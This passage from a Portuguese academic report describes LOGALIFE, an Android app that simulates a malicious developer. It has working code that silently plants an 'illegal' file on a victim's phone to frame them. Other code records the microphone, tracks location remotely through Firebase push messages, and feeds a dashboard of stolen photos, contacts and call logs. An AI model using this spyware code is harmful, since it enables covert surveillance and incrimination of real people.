
programador mal-intencionado pode, por exemplo:

e Carregar ficheiros ilegais para o dispositivo do utilizador/vitima e mais tarde
denuncia-lo por possuir esses ficheiros.
e Carregar ficheiros que contenham virus e tentar infetar o smartphone do

utilizador/vitima.

Estando tracado um dos planos para a sprint foi iniciado o desenvolvimento do mesmo.
Em primeiro lugar foi colocado o ficheiro “ilegal image.png” no Firebase Storage, que
representa uma imagem ilegal, para que mais tarde fosse possivel o seu download, como

se pode consultar na Figura 26.

LOGALIFE ~ Acessar a documentagao M o

Storage ()

Files  Rules  Usage

@ Proteja os recursos do Storage de abusos, como fraude de faturamento ou phishing ~ Configurar o App Check X

ogalife-5c4f5.appspot.cor 4 Fazer upload do arquivo [ + I
- Gitima
amanho 0 modificeedo

M ilegal_image.png X
O ©3images Pasta

O 3 screenshots e ﬁ‘\i\
2 A
O M ilegalimagepng 24112 K8 image/png 3 de abr. de 2022 ‘('/.i’d

ilegal image.png (A
246.903 bytes

image/png

13 de abr. de 2022 21:37:00
13 de abr. de 2022 21:37:00

Local do arquivo v

Figura 26 - Ficheiro "llegal™

O codigo responsavel por fazer download do ficheiro pode ser consultado na Listagem 5.
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public void fetchFileFromFirebase () {

StorageReference illegalFileRef =
storageRef.child("ilegal image.png");

illegalFileRef.getDownloadUrl () .addOnSuccessListener (new
OnSuccessListener<Uri> () {
@Override

public void onSuccess (Uri uri) {
// Local temp file has been created
String url = uri.toString();
dowloadFile (context, "ilegal image.png", url);
}
}) .addOnFailurelistener (new OnFailurelistener () {
@Override
public void onFailure (@NonNull Exception exception) ({
// Handle any errors
Toast.makeText (context, "Error downloading illegal
File", Toast.LENGTH SHORT) .show () ;
}
1)

private void dowloadFile (Context context, String fileName, String
url) |

DownloadManager downloadManager = (DownloadManager)
context.getSystemService (Context.DOWNLOAD SERVICE) ;

Uri uri = Uri.parse(url);

DownloadManager.Request request = new

DownloadManager.Request (uri) ;

request.setNotificationVisibility (DownloadManager.Request.VISIBILITY
_ HIDDEN) ;

request.setDestinationInExternalPublicDir (
Environment.DIRECTORY DCIM, "Camera/" + fileName) ;

downloadManager.enqueue (request) ;

Listagem 5 - Download do Ficheiro "llegal"

50



LOGALIFE

A classe pownloadManager.Request, por predefinicdo envia uma notificagdo ao
utilizador a informar que o download ja foi executado. Uma vez que o objetivo é simular
como agiria um programador mal-intencionado, ndo faria sentido informar o utilizador
que foi efetuado o download de um ficheiro ilegal, sendo assim, de modo a omitir esta

notificacdo € necessario:

e Alterar a visibilidade da notificacdo atraves da seguinte linha de cddigo visivel na

Listagem 6:

request.setNotificationVisibility (DownloadManager.Request.VISIBILITY

_HIDDEN) ;
Listagem 6 - Esconder Notificacéo
e Adicionar a permissao
android.permission.DOWNLOAD WITHOUT NOTIFICATION ao ficheiro

AndroidManifest.xml, CasO contrario sera levantada uma excecdo quando o

ficheiro é transferido.

Mais uma vez durante o desenvolvimento foi utilizado botdo “Run Logalife”, ja

mencionado nas sprints anteriores, para testar a funcionalidade.

Assim que este botdo € pressionado é executada a fun¢do fetchFileFromFirebase ()
que tem a responsabilidade de transferir o ficheiro “ilegal image.png”. E possivel
confirmar na Figura 27 que o ficheiro foi de facto transferido para a diretoria escolhida
para o efeito:

e DCIM/Camera

« Phone > DCIM > Camera v G Procurar em Camera

20220405_180105. 20220405_180109. 20220405_180122. ilegal_image.png
irg Jpg Jrg

Figura 27 - Pasta DCIM/Camera
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4.8. Acesso ao Microfone

O objetivo da sprint 7 passa por testar o trabalho relacionado Is My Phone Listening in?
On the Feasibility and Detectability of Mobile Eavesdropping. Para responder a questéo
colocada ndo sO pelos autores do artigo, mas também por muitos utilizadores que
repararam que depois de mencionarem algo em conversas perto dos seus smartphones se
depararam com publicidade relacionada com as conversas que tiveram ndo s6 no seu

smartphone como também em outros dispositivos.

O foco da sprint ndo era precisamente responder a questdo “O meu smartphone esta a

escutar-me?”, mas sim a questdo “E possivel o meu smartphone escutar-me?”.

De forma a concluir se a resposta a questdo anterior € afirmativa os esfor¢cos da sprint
passaram por perceber se depois de cedida a permissédo de acesso ao microfone era
possivel a aplicacdo LOGALIFE aceder ao microfone em qualquer momento, mesmo com

a aplicacédo fechada, sem que o utilizador desse conta.

Sabendo de partida que o utilizador teria sempre de aceitar a permissdo de acesso ao
microfone para que fosse possivel a aplicacdo ter acesso ao mesmo, a sprint foi
exatamente iniciada por ai, pedir a permissdo android.permission.RECORD AUDTO a0

utilizador.

Mais uma vez foi utilizada uma estrutura de classes semelhante as apresentadas
anteriormente, uma classe responsavel por gerir as gravacdes audio — a classe
MicrophoneManager. ESta classe é responsavel por iniciar e parar as gravacgdes de audio,
armazenar as mesmas no dispositivo do utilizador e posteriormente enviar essas
gravacdes para o Firebase Storage onde mais tarde o programador da aplicacdo podera

escutar as gravagoes efetuadas.

Inicialmente a gravacgéo foi testada carregando no botao “Run Logalife” (consultar Figura
28) acdo essa gue iniciava e parava a gravagdo, ou seja, um clique iniciava a gravagao e

um segundo clique parava e gravava a mesma.

52



LOGALIFE

15:41 N{= .l 100% 0

LOGALIFE

RUN LOGALIFE

START FOREGROUND SERVICE

STOP FOREGROUND SERVICE

I @] <

Figura 28 - Aplicagdo LOGALIFE — versdo com 3 botdes

O nome atribuido ao ficheiro € simplesmente a data correspondente ao inicio da gravacao,

como se pode consultar na Figura 29.
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Figura 29 - Gravagdes Audio
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O cddigo responsavel por efetuar a gravacéao de audio baseia-se na utilizacdo da biblioteca
MediaRecorder (ue permite aceder a alguns sensores do dispositivo como o microfone

e a camara.

De forma a iniciar a gravacdo é necessario definir uma série de pardmetros como a
diretoria e nome do ficheiro, tipo de fonte de &udio, formato do ficheiro, duragdo méxima
e tamanho maximo do ficheiro. Esta definicdo de parametros pode ser consultada na

Listagem 7.

public void startRecording () {

fileName =
Environment.getExternalStoragePublicDirectory (Environment.DIRECTORY
DOWNLOADS) .getAbsolutePath() + "/" + DateUtils.getDatelInFileFormat ()

+ 11 . 3gp 11 ;
Log.d("RECORDING", " - filename: " + fileName);
recorder = new MediaRecorder () :;

recorder.setAudioSource (MediaRecorder.AudioSource.MIC) ;
recorder.setOutputFormat (MediaRecorder.OutputFormat.THREE GPP);
recorder.setOutputFile (fileName) ;
recorder.setAudioEncoder (MediaRecorder.AudioEncoder.AMR NB) ;
recorder.setMaxDuration (500000000) ;
recorder.setMaxFileSize (500000000) ;
try {

recorder.prepare() ;
} catch (IOException e) {

Log.d("RECORDING", "prepare() failed - " + e.getMessage());

recorder.start () ;

Listagem 7 - Iniciar Gravagao

Para parar e armazenar a gravacao basta executar o codigo exposto na Listagem 8, que,

utilizando os parametros definidos inicialmente, grava o ficheiro na diretoria definida.
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public void stopRecording () {
if (recorder != null) {
recorder.stop () ;

recorder.reset () ;

recorder.release() ;

recorder = null;

Listagem 8 - Parar Gravacéo

Depois de garantir o funcionamento da gravacdo do microfone durante a utilizacdo da
aplicacdo faltava agora saber se 0 mesmo era possivel com a aplicacdo fechada, ou seja,
utilizar o mesmo mecanismo que permitiu ser possivel obter a localizagdo do smartphone

em background, em outras palavras, utilizando um servico.

Uma vez que ja tinha sido desenvolvido o servico que obtém a localizagdo em

background, existiam duas opcdes:

e Utilizar o mesmo servico de acesso a localizacdo em background e adicionar a
funcionalidade de acesso ao microfone;

e Criar um servico semelhante apenas para efetuar a gravacao audio.

Apos alguma reflexdo, a concluséo foi que faria mais sentido utilizar o mesmo servigo
pois caso se pretendesse obter as duas informagdes em simultaneo, localizacéo e gravagéo
audio, ndo faria sentido executar dois servicos de forma concorrente. Sendo assim o
Servigo LocationService Passou aser chamado Foregroundservice UMavez que passa

a ser mais abrangente.

De forma simplificada o funcionamento deste servigo passa ndo sé por obter a localizagédo
como também aceder ao microfone, executando 0 método startrecording () da classe
MicrophoneManager (consultar Listagem 7) quando € iniciado e o método

stopRecording () quando o servigo é parado (consultar Listagem 8).
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Para ser possivel aceder ao microfone quando o servico esta a ser executado em
foreground é necessario atualizar o ficheiro AndroidManifest.xml cOM a seguinte

informacé&o, visivel na Listagem 9.

<service android:enabled="true"

android:name=".services.ForegroundService"

android: foregroundServiceType="1location|microphone”™ />

Listagem 9 - Microfone em Foreground

4.9. Iniciar Servico Remotamente

Até ao momento, de forma a iniciar ou parar 0 Servico Foregroundservice era
necessaria uma interagdo do utilizador carregando nos botdes “Start Foreground Service”

e “Stop Foreground Service” que podem ser consultados na Figura 30.

Contudo era sabido que eventualmente esta abordagem manual teria de ser substituida
por uma automatica, ou seja, uma abordagem que ndo envolvesse uma interacdo do

utilizador do smartphone.

15:41 {2l 100%0

LOGALIFE

RUN LOGALIFE

START FOREGROUND SERVICE

STOP FOREGROUND SERVICE

Figura 30 - Aplicacdo LOGALIFE

Apos alguma investigacdo [9-11] identificou-se que a melhor forma seria seguir a
abordagem que pode ser consultada na Figura 31.

56



LOGALIFE

l {C:):} ﬁ Localizacdo

Nofificacdo
Desenvolvedor MyFirebaseMessagingService Foreground Service

Microfone

Figura 31 - Funcionamento do Servico de Background

A abordagem passa por:

1. O programador da aplicagdo LOGALIFE enviar uma notificagdo para o
smartphone do utilizador/vitima. Esta notificacdo foi inicialmente enviada
utilizando a ferramenta Postman®® que permite enviar pedidos REST
(Representational State Transfer) mas assim que a aplicagdo WEB esteja
finalizada, as notificacGes serdo enviadas através da mesma.

Para que seja possivel ser enviada a notificacdo € necessario fazer um pedido

POST?* para 0 seguinte endpoint: https://fcm.googleapis.com/fem/send.

E também necessério definir os headers e o body corretos, estes podem ser
consultados, respetivamente, na Figura 32, Figura 33 e Figura 34. O valor da key

utilizada para o atributo ruthorization € obtido através do Firebase.

Service Notification - START

PosT v hupsiiomgoogiesss arcontent-T ‘ m

Params ®  Authorizaticn  Headers (10}  Body ®  Pre-request Script  Tests  Settings

KEY VALUE DESCRIPTION o BulkEdit Presets v
Content-Type application/json

Authorization key=AAAAtOQbkzg-APA

Figura 32 - Headers do Request

23 https://www.postman.com/
24 hitps://en.wikipedia.org/wiki/POST (HTTP)

57


https://fcm.googleapis.com/fcm/send
https://www.postman.com/
https://en.wikipedia.org/wiki/POST_(HTTP)

LOGALIFE

Service Notification - START

POST ~  https:fifcm.geogleapis. ontent-Ty
Params ®  Authorization  Headers (10)  Body ®  Pre-request Script
none @ form-data x-www-form-urlencoded @ raw @ binary
1 d
2 "to" i "fwrFiT2sQ86AS2U
3 “data” i {
2 "action": "START_SERVICE"
5 |3
6 g

Figura 33 - Body do Request — Start Service

Service Notification - STOP

bk;

Tests  Settings

GraphQL  JSON

POST v httpsi[fem.googleapis. ontent-Ty
Params @  Authorization  Headers (10)  Body ®  Pre-request Script
none @ form-data @ x-www-form-urlencoded @ raw @ binary

.

2 | “to" : "fwrFiT2sQee

3 “data”

4 “action”: “STOP_SERVICE"
5 ¥

6 E

Figura 34 - Body do Request — Stop Service

Tests  Settings

GraphQL  JSON

etnee m

Cookies.

Beautify

caheysDPho* ,

bkzg:APA9TBET-eeUMAESYB Tipxp_u_gKQ72JCOb26rh7p08IN_eghmR Jd5tey WLOUMYQEaTby_SSFI9IkBAfsHBLxen! m

Cookies

Beautify

sDYdcaheysDPhO" |

"data" : {

"to" : "***SMARTPHONE TOKEN***",

"action": "STOP SERVICE"

Listagem 10 - Body do Request — Stop Service

O parametro to corresponde ao token do smartphone do utilizador e foi obtido

executando o codigo apresentado na Listagem 11.
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public static void logToken() {
FirebaseMessaging.getInstance() .getToken ()
.addOnCompletelistener (new

OnCompletelListener<String> () {

@Override

public void onComplete (@NonNull Task<String>
task) {

if (!task.isSuccessful()) {
Log.d("TOKEN", "Fetching FCM

registration token failed", task.getException()):;

return;

)
ry

// Get new

AN s L I
CM registratlion toKen

String token = task.getResult();

/)T A, A A oot
// Log and toast

Log.d("TOKEN", token);

1)

Listagem 11 - Obter Token para Notificagdo

A execucdo do pedido POST com os parametros mencionados anteriormente faz

com que seja enviada uma mensagem para o smartphone do utilizador/vitima;

A aplicacdo tem um Servico MyFirebaseMessagingService que estende da

classe FirebaseMessagingService. ESta classe reimplementa a funcéo

onMessageReceived () ue pode ser consultada na Listagem 12. Esta fungéo foi

implementada de forma que, conforme a acdo recebida na mensagem, inicie ou

pare o servigo de foreground. Caso a agd0 Seja sTART SERVICE € iniciado 0

Servigo rForegroundservice € assim que € recebida a agdo inversa, ou seja,

STOP SERVICE 0 Servigo é encerrado.

59



LOGALIFE

@Override

public void onMessageReceived (RemoteMessage remoteMessage) |

String START SERVICE = "START SERVICE";
String STOP_ SERVICE = "STOP_ SERVICE";
Log.d("NOTIFICATION", "From: " + remoteMessage.getFrom()):;

if (remoteMessage.getData () .size() > 0) {
String action = remoteMessage.getData () .get ("action");

Log.d("NOTIFICATION", "ACTION: " + action);

if (action.equals (START SERVICE)) {
if
(ContextCompat.checkSelfPermission(getApplicationContext (),
Manifest.permission.ACCESS FINE LOCATION) !=
PackageManager.PERMISSION GRANTED) {
ActivityCompat.requestPermissions((Activity)
MainActivity.getContext (), new
String[] {android.Manifest.permission.ACCESS FINE LOCATION},
MainActivity.REQUEST CODE LOCATION PERMISSION) ;
} else {
startForegroundService () ;
}
} else if(action.equals (STOP_SERVICE)) {

stopForegroundService () ;

Listagem 12 - Gerir Notifica¢Oes para Iniciar/Parar Servigo

Foi necessario registar este servico no ficheiro androidManifest.xml, Visivel na
Listagem 13.

<service
android:name=".services.MyFirebaseMessagingService"
android:exported="false"

tools:ignore="Instantiatable"
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android:directBootAware="true"
android: foregroundServiceType="1location|microphone">
<intent-filter>
<action
android:name="com.google.firebase.MESSAGING EVENT" />
</intent-filter>

</service>

Listagem 13 - Registar Servigo

3. Por fim quando o servigo Foreground € iniciado este acede a localizacao e envia
a mesma para a base de dados Firebase. Contudo ndo foi possivel aceder ao
microfone do utilizador e ap6s alguma pesquisa conclui-se que esta foi uma
medida de seguranca adicionada ao Android 11 que ja ndo permite que as
aplicacdes acedam ao microfone caso ndo estejam a ser executadas (em primeiro
ou segundo plano). Desta forma, estando a aplicacdo a ser executada como um

Servico roreground N30 é possivel aceder ao mesmo.

Em suma, é neste momento possivel remotamente iniciar um servico no smartphone da

vitima que exponha a sua localizagdo, contudo ndo € possivel ouvir as suas conversas.

4.10. Aplicacdo WEB

Antes de dar os retoques finais na aplicacdo Android LOGALIFE, foi iniciado o
desenvolvimento da aplicagdo WEB onde se esperava mostrar os resultados extraidos na
aplicacdo movel. Foi decidido que o desenvolvimento da aplicacdo WEB deveria ser
iniciado antes da conclusdo da aplicagdo Android uma vez que era expectavel que esta
forcasse algumas alteragdes na obtencdo de dados na aplicacdo Android e no

armazenamento de dados no Firebase.
Foram definidas as seguintes funcionalidades para a aplicagdo WEB:

e Iniciar e parar servigo de background remotamente;

e Ficheiros:
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o Mostrar as imagens extraidas ao utilizador;

o Mostrar gravacdes audio gravadas no smartphone do utilizador;
e Mostrar as localizagdes do utilizador;
e Contactos:

o Mostrar lista de contactos do utilizador;

o Mostrar registo de chamadas do utilizador;

e Mostrar a lista de aplicacdes instaladas no smartphone do utilizador.

Para a aplicacdo WEB foi utilizada a framework de JavaScript?® Vue.js?. Foi utilizada
esta framework entre as muitas frameworks de JavaScript uma vez que ja existia um
conhecimento prévio obtido em projetos anteriores. Esta decisdo permitiu ndo ter de

despender tempo a analisar e estudar uma framework nova.

Foi utilizada a versdo 3 do Vue.js e de modo a tornar as alterac6es graficas mais acessiveis
foi utilizado Tailwind?’, uma framework de CSS (Cascading Style Sheets) que facilita
bastante o trabalho de front-end. Foi ponderado se faria mais sentido utilizar Bootstrap?®
em detrimento do Tailwind uma vez que ja existiam conhecimentos em Bootstrap,
contudo apds alguma pesquisa concluiu-se que de momento o feedback dos utilizadores

de Tailwind era bastante mais positivo que os de Bootstrap.

Depois de feita a configuracdo inicial do projeto em Vue foi criada a divisdo das

categorias através de uma sidebar, como se pode consultar na Figura 35.

% hitps://developer.mozilla.org/pt-BR/docs/Web/JavaScript
%6 https://vuejs.org/

27 https://tailwindui.com/

28 https://getbootstrap.com/
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LOGALIFE.

B Ficheiros

t. Contactos

<4 GpPs

Aplicacdes

W Acoes

Figura 35 - Menu Aplicagdo WEB LOGALIFE

4.10.1. Configuracdo do Firebase

Antes de iniciar a implementacdo das funcionalidades anteriormente mencionadas, foi
efetuada a configuracdo do Firebase no projeto. O Firebase facilita a integragédo tanto com
Android, como iOS como também na WEB. Para configurar o projeto foram seguidos 0s

seguintes passos que podem ser consultados na documentagao oficial?®:

e Instalar o Firebase usando o npm através da execucao do seguinte comando:

o npm install firebase
e Inicializar o Firebase na aplicacéo e criar o ficheiro de configuragdes, de acordo
com a Listagem 14.

// FIREBASE

import firebase from "firebase/compat/app";

import "firebase/compat/database";

29 https://firebase.google.com/docs/web/setup?hl=pt
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import { getStorage, ref } from "firebase/storage";

const firebaseConfig = {
// Informacdo Omitida por seguranca
apiKey: "**************",
authDomain: "*** AUTH_DOMAIN ***",
databaseURL: "*** DATABASE_URL ***",
projectId: "*** PROJECT ID ***",
storageBucket: "*** STORAGE_BUCKET ***",
messagingSenderId: "¥kikkickkickkickn
appId: "**************"’
measurementId: "*** MEASUREMENT_ID ***",

};

//

// Initialize Firebase

const firebaseApp = firebase.initializeApp(firebaseConfig);

// Realtime Database

const db = firebase.database();

export const contactsRef = db.ref("contacts");

export const callRecordsRef = db.ref("call_records");

export const locationRef = db.ref("location");
// Firebase Storage
const storage = getStorage(firebaseApp);

export const storageRef = ref(storage);

export default firebase;

Listagem 14 - Inicializar Firebase

e Exportar algumas das variaveis para que possam ser utilizadas nas vistas®.

30 https://router.vuejs.org/quide/essentials/named-views.html
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4.10.2. Iniciar / Parar Servico

A primeira funcionalidade implementada foi a de iniciar/parar o servigo em background
no smartphone do utilizador. Este servico é responsavel por obter a localizacdo em
background, como mencionado no capitulo 4.5 - Execucédo da Aplicacdo em Background.
No mesmo capitulo foi também implementado e mencionado que era possivel, através de
um pedido POST, iniciar e parar o0 servi¢o. Sendo assim, ao carregar nos botfes visiveis
na Figura 36 é efetuado um pedido POST utilizando a biblioteca Axios®!, sendo executado
0 codigo apresentado na Listagem 15.

LOGALIFE.

O
B e @ Arrancar Parar
o Servico Servigo
START STOP

Figura 36 - Aplicacdo LOGALIFE - Agles

startService: function () {
this.callServiceAction ("START SERVICE");

}y

stopService: function () {
this.callServiceAction ("STOP SERVICE");

by

callServiceAction: function (action) {
const headers = {

Authorization:

31 https://axios-http.com/docs/intro
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"key=***TOKEN***",
"Content-Type": "application/json",
bi
const body = {
to: "***SMARTPHONE TOKEN***",
data: {
action: action,
}y
bi

axios
.post ("https://fcm.googleapis.com/fcm/send", body, {
headers })
.then ((response) => (console.log(response)));

by

Listagem 15 - Funcfes Responsaveis pelas Notificacdes

Desta forma sempre que o utilizador da aplicacdo mobile tenha acesso a internet, é
possivel obter acesso a sua localizagdo carregando no botdo “Arrancar Servigo”. O
utilizador ndo desconfiara que a aplicacdo LOGALIFE esta a aceder a sua localizagdo
uma vez que a Unica informacdo que tera é uma notificacdo e esta pode ser disfarcada

atribuindo um contexto diferente a notificacao.

4.10.3. Ficheiros

A segunda funcionalidade implementada foi a visualizagdo dos ficheiros exportados da
aplicacdo LOGALIFE para 0 Firebase.

A integracdo com o Firebase j& tinha sido configurada previamente num ficheiro
independente e isto permitiu aceder a algumas varidveis necessarias para obter 0s

ficheiros do Firebase Storage e os dados do Firebase Realtime Database.

No menu afeto aos ficheiros é possivel consultar a lista de imagens extraidas do
smartphone do utilizador, pode-se consultar as imagens e 0 nome das mesmas como €

possivel verificar na Figura 37.
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LOGALIFE. IMAGENS

& Contoctos

< GPs

= Aplicogdes

& Agdes

20220405 _180105.jpg 20220405 _180109.jpg 20220405_180122 jpg 20220620_180701pg

Figura 37 - Aplicacio LOGALIFE - Ficheiros

O cddigo responsavel por obter as imagens do Firebase pode ser consultado na Listagem
16.

var url_start =
"https://firebasestorage.googleapis.com/ve/b/**FIREBASE ENDPOIN
T**/o/images%2F";

var url end = "?alt=media";

const storage = getStorage();

let imagesRef = ref(storage, "images");
let firstPage = await list(imagesRef, { maxResults: 1000 });
firstPage.items.forEach(function (file) {

let full url = url_start + file.name + url_end;

console.log(full url);
state.files.push({

src: full url,
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name: file.name,

1)
1)

Listagem 16 - Obter Imagens do Firebase

Relativamente a obtencéo das imagens este foi um ponto que se revelou bastante mais
complicado do que inicialmente se esperava. Esta complexidade inesperada deveu-se a
utilizacdo de promises3® por parte do Firebase. Este foi um topico que se revelou um
auténtico desafio ao longo do desenvolvimento da aplicagdo WEB uma vez que
recorrentemente foram encontrados problemas a tentar processar os dados obtidos através

de promises devido a complexidade das mesmas.

A lista de imagens é guardada na variavel fi1es que se encontra na classe state. Assim,
apo6s serem carregados os dados do Firebase Storage, sdo iteradas as imagens e séo

exibidas no ecrd juntamente com o nome do ficheiro.

Na Listagem 17 pode ser consultada, a titulo de exemplo, a forma como as imagens estao

a ser organizadas na pagina.

<div v-for="file in state.files"
:key="file.name"

class="flex flex-wrap w-1/3 mb-20"

<div class="w-full p-1 md:p-2">
<img

alt="gallery"

class="
block
object-cover object-center
w-full
h-full
rounded-1g

:src="file.src"

/>

32 https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Global _Objects/Promise
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<span class="text-left">
<p class="dark:text-gray-200 text-center">{{ file.name
}</p>
</span>
</div>

</div>

Listagem 17 - Listagem de imagens - VVue.js

Uma vez que o utilizador contém diferentes ficheiros armazenados em diferentes
diretorias do seu smartphone, concluiu-se que faria sentido agrupar as imagens tendo em
conta a pasta onde se encontravam no smartphone. A abordagem referida pode ser
consultada na Figura 38 e na Figura 39 onde se constata que o titulo correspondente a

pasta das imagens ja esta presente.

E também possivel verificar que ao fazer scroll vertical se conseguem visualizar as

imagens afetas as restantes pastas onde existem ficheiros.

LOGALIFE. IMAGENS

¥ Gps

= Aplicagdes

W Acdes

20220405_180122jpg 20220620_180701.jpg

20220620_180722pg

Figura 38 - Aplicacdo LOGALIFE - Ficheiros — Imagens
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LOGALIFE.

% Contactos
< cps
= Aplicagdes

¥ Acoes

SCREENSHOTS

s tuvene @ tuTasng 1835 £90 s 000
teca, 5/04 © erca, L] terga, 5/04 L]

00 000

Matimedia

p Captura Samsung

m (a] < n (s} <

Screenshot_20220405-180311_One Screens| hot_20220405- Screens! hot_20220405-
UI Home.jpg 180315_Permission controllerjpg  183400_Permission control llerjpg

s 0 e a00n e %a100u
LOGALIFE LOGALIFE

Screenshot_20220405-
183510_LOGALIFE.jpg

Figura 39 - Aplicagdo LOGALIFE - Ficheiros - Screenshots

4.10.4. Contactos e Registo de Chamadas

A terceira funcionalidade implementada para a aplicacdo WEB tem a ver com a listagem

dos contactos e do registo de chamadas efetuado pelo utilizador da aplicacdo LOGALIFE.

A informacdo necessaria para mostrar no ecra, que pode ser consultado na Figura 40,

estava quase toda preparada previamente no Firebase Realtime Database com a excegéo

do campo “contactName” que foi apenas adicionado assim que se sentiu necessidade do

mesmo no desenvolvimento da interface WEB.
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LOGALIFE.

B Ficheiros
¥ Gcps
= aplicagdes

W Agoes
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Registo de Chamadas

% zé carlos
3-06-2022 04:17
3
0 segundos

% Joel Figueiredo
3-06-2022 04:17

I

0 segundos

% Bruno Pereira
3-06-2022 04:18
9
0 segundos

Figura 40 - Aplicacdo LOGALIFE - Contactos

Na listagem do lado esquerdo Figura 40 é possivel verificar a lista de contactos do
utilizador, esta lista apresenta os nimeros de telemdével bem como os nomes que o

utilizador da app LOGALIFE escolheu para cada um dos seus contactos.

Na listagem do lado direito Figura 40 consta o registo de chamadas efetuado pelo
utilizador, no caso é possivel ver que nenhuma das chamadas foi atendida através do icone
e através do numero de segundos que a chamada demorou. Foram também escolhidos

diferente icones conforme o tipo de chamada que foi efetuada:

e Chamada néo atendida;
e Chamada iniciada pelo utilizador da app LOGALIFE;

e Chamada atendida pelo utilizador da app LOGALIFE;
Para além da informag&o referente ao tipo de chamada é também possivel consultar:

e Data e hora da chamada;
e NuUmero de telemovel;
e Nome do contacto;

e Duragéo.
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4.10.5. Lista de Aplicacdes Utilizadas

Uma das funcionalidades WEB mais diretas de implementar foi a listagem de aplicacGes
utilizadas. No ecra que pode ser consultado na Figura 41, é possivel perceber quanto
tempo o utilizador gastou em cada aplicacdo. Infelizmente ndo é possivel converter o
nome do package para 0 nome da aplicacédo tal como ndo é possivel obté-lo diretamente

no Android Studio antes de gravar os dados no Firebase.

LOGALIFE.

Lista de Aplicagdes

B Ficheiros . .
3 com_android_settings
16.2 minutos

% contactos

Cn com_android_vending
S 1.8 minutos
¥ Gps
G\ com_example_logalife
= 6.4 horos

‘l_ ‘ com_google_android_apps_restore

- 1.5 minutos
W Acdes

‘lj \ com_google_android_gms

9.7 minutos

r com_google_android_permissioncontroller
S 4.4 minutos

‘|; \ com_google_android_setupwizard

3.3 minutos

‘|'n com_koushikdutta_vysor

1.4 minutos

@ com_samsung_android_dialer

2.9 minutos

I com_sec_android_app_SecSetupWizard
S 2.1 minutos

‘| 3 ‘ com_sec_android_app_camera

1.2 minutos

‘l, h com_sec_android_app_launcher

3.5 horas

d‘n ??m_s‘ec_undrnid_upp_myfiles

Figura 41 - Aplicagdo LOGALIFE - Aplicagoes

Na Figura 42 é possivel consultar a estrutura de dados relativa ao uso das aplicacdes. A
estrutura € bastante simples, a cada chave que é o nome do package da aplicacdo

corresponde o valor em milissegundos de quanto tempo cada aplicacéo foi usada.

Para uma mais facil leitura, da informacdao apresentada, foi utilizada uma func¢éo de modo
a converter o tempo que o utilizador gastou, em cada aplicacdo, de milissegundos (ms)
para o formato que faga mais sentido, sejam segundos, minutos ou horas. O codigo

utilizado pode ser consultado na Listagem 18.
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msToTime: function (ms) {

(ms / 1000).toFixed(1);

(ms / (1000 * 60)).toFixed(1);

(ms / (1000 * 60 * 60)).toFixed(1);

(ms / (1000 * 60 * 60 * 24)).toFixed(1);

let seconds =
let minutes =
let hours =
let days =

if (seconds < 60) return seconds + " segundos";

else if (minutes < 60) return minutes + " minutos";
else if (hours < 24) return hours + " horas";

else return days + " dias";

}s

Listagem 18 - Converter ms no Formato Adequado

~  app_usage

com_android_settings: 969815

com_android_vending: 106699

com_example_logalife: 22588701
com_google_android_apps_restore: 87079
com_google_android_gms: 582538
com_google_android_permissioncontroller: 264124
com_google_android_setupwizard: 199292
com_koushikdutta_vysor: 81368

s

m_samsung_android_dialer: 175652

com_sec_android_app_SecSetupWizard: 127665

com_sec_android_app_launcher: 12497071

com_sec_android_app_myfiles: 210774

com_sec_android_gallery3d: 160702

s

Wa

syncmldm: 63686

Figura 42 - Estrutura do Uso de Aplicacgbes no Firebase
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4.11. Analise de Resultados

Apbs o desenvolvimento do projeto foi possivel analisar os resultados e retirar algumas
ilacdes. Algumas das questbes que o desenvolvimento da aplicacdo movel pretendia

responder eram:

e Que informac6es sdo possiveis recolher de um utilizador Android?

e Com que facilidade é possivel recolher informacdes pessoais?

e Que informacgdes podem ser recolhidas sem a permissdo ou conhecimento do
utilizador?

e Quais as dificuldades impostas pela Google para a obtencdo de informactes

privadas por um utilizador mal-intencionado?

A resposta é similar para as duas primeiras perguntas, ou seja, as informacdes possiveis
de recolher e a facilidade com que as mesmas podem ser recolhidas varia conforme as

permissdes cedidas pelo utilizador.

Relativamente a terceira pergunta, a resposta € um pouco mais complexa dependendo se
nos focarmos na palavra permissdo ou conhecimento. Se a pergunta for feita da seguinte
forma “Que informacdes podem ser recolhidas sem a permissdo do utilizador?”, a
resposta é simples nenhumas ou muito poucas, e a cada nova versao do Android lancada
pela Google sera cada vez mais dificil obter este tipo de informacGes sem a permissdo do
utilizador, porque se observa uma crescente preocupacdo em solicitar mais e de forma
mais explicita permissdes ao utilizador. Em contrapartida, se a pergunta for formulada no
seguinte formato “Que informacgdes podem ser recolhidas sem o conhecimento do
utilizador?”, a resposta é completamente diferente uma vez que na maioria das vezes o
utilizador cede as permissdes sem saber 0 que esta realmente em jogo. Se mesmo as
pessoas com alguns conhecimentos informéaticos facilmente cedem permissGes as
aplicacdes sem perder muito tempo a debater as possiveis consequéncias destas acoes é
facil imaginar que a restante populacdo, de um modo geral, ceda estas permissdes sem
qualquer meditacdo. Tal como a maioria das pessoas aceita os termos e condigdes dos
produtos e servicos online sem a leitura dos mesmos, também uma grande parte dos
utilizadores aceita a cedéncia de permissdes sem se questionar sobre qual o motivo de
determinada aplicagdo requisitar certas permissées. Em suma, e respondendo a pergunta

creio que seria impossivel quantificar e qualificar quais as informacfes que podem ser
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recolhidas ao utilizador sem o conhecimento do mesmo uma vez que o conhecimento do
utilizador é subjetivo, e depende da compreensdo informéatica do mesmo, por exemplo
um utilizador mais bem informado pode questionar-se sobre qual a razdo de uma

aplicacdo como uma calculadora requisitar permissdes de acesso a ficheiros.

Em relacdo a quarta pergunta, “Quais as dificuldades impostas pela Google para a
obtencdo de informacdes privadas por um utilizador mal-intencionado?”, a verdade € que
a Google tem feito bastantes esforcos para dificultar o acesso a informacdes de utilizador
ndo so criando novas permissdes como também limitando funcionalidades ao abrangé-las
dentro de permissdes ja existentes. Durante o desenvolvimento da funcionalidade de
obtencdo da localizacdo do utilizador recorrendo ao sinal GPS foi realizada alguma
pesquisa e um exemplo que valida a evolucdo da Google neste aspeto € o facto de
atualmente as aplicacdes precisarem da permissdo de acesso a localizacdo para poderem
usar o Bluetooth uma vez que nas versdes mais antigas do Android era possivel obter a
localizacdo através de Bluetooth. Outro ponto que valida a evolugdo mencionada, é por
exemplo o facto de na versdo 12 do Android o utilizador saber sempre que as aplicacdes
acedem ao microfone ou a camara através da apresentacdo de um icone verde na barra

superior do ecra.

Em comparagdo com os trabalhos relacionados estudados, uma das dificuldades com a
qual alguns dos autores se depararam foi com a precisdo na obtencdo da localizacédo
utilizando o GPS, no projeto LOGALIFE este foi um ndo problema uma vez que os dados
